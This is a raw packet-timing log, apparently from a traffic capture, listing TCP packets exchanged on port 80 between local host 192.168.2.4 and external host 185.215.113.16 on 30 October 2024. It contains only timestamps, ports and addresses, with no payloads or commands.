Oct 30, 2024 12:36:34.651068926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651077986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651094913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651101112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651112080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651129961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651149035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651158094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651166916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651191950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651418924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651432991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651448011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651463032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651479006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651495934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651503086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651515961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651518106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651532888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651547909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651563883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651566029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651585102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651587009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651602983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651618004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651635885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651642084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651654005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651663065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651680946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651700020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651705027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651757002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651773930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651781082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651792049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651810884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651813984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651940107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651957035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651964903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.651974916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.651990891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652008057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652024984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652033091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652043104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652046919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652067900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652075052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652087927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652126074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652143002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652148962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652158976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652173996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652195930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652198076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652400017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652415037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652436972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652452946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652460098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652470112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652487040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652492046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652503967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652519941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652535915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652549982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652570009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652576923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652587891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652591944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652611971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652627945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652647018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652647972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652667999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652803898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652826071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652842999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652861118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652865887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652879953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652887106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652898073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652915001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652919054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.652930975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652945995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652961969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652977943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.652996063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653002024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653016090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653017998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653033018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653049946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653068066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653076887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653090000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653187990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653203964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653217077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653234005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653238058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653253078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653270960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653280973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653297901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653304100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653314114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653337955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653356075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653361082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653373003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653400898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653418064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653424025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653434992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653450012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653469086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653474092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653489113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653491020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653558969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653610945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653626919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653641939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653661013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653666019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653700113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653716087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653723001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653738022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653764009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653791904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653806925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653822899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653842926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653846025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653944969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.653954983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653970957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653985023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.653999090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654015064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654032946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654036999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654050112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654068947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654073954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654088974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654094934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654139042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654154062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654205084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654221058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654262066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654522896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654557943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654572964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654587984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654603958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654608965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654620886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654645920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654647112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654663086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654700994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654711962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654717922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654735088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.654740095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.654752970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655505896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655523062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655539989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655558109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655569077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.655575991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655584097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.655594110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655611992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655617952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.655628920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655646086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.655649900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.655910969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.706269026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.706269026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.035448074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.042489052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320312023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320333958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320352077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320377111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320404053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320405006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320424080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320444107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320449114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320457935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320463896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320478916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320497036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320502996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320513964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320533037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320533991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320550919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320594072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320611954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320626974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320643902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320656061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320669889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320688963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320705891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320717096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320744038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320744038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320763111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320782900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320804119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320810080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320827007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320831060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320843935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320858002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320878029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.320883036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.320914030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.376010895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.437674046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437731981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437751055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437773943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437774897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.437789917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437804937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437810898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.437858105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.437869072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437890053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.437937975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.437942028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438011885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438029051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438071012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438082933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438097954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438112020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438134909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438136101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438152075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438153982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438168049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438205004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438283920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438297033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438303947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438312054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438318968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438399076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438452005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438477039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438491106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438503981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438509941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438519001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438534975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438553095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438579082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438630104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438644886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438663006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438703060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438709974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438724995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438739061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438754082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438757896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438767910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438772917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438806057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438832045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438849926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438864946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438888073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438889027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438905001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438922882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438934088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438939095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.438961029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.438975096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439029932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439064980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439079046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439104080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439121962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439126015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439136982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439152956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439158916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439167976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439182997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439198017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439199924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439220905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439348936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439490080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439505100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439512014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439521074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439536095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439543962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439551115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439567089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439574957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439582109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439605951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439630032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439690113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439726114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439739943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439753056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439768076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.439778090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.439807892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555186987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555202961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555217981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555244923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555339098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555354118 CET	80	49744	185.215.113.16	192.168.2.4
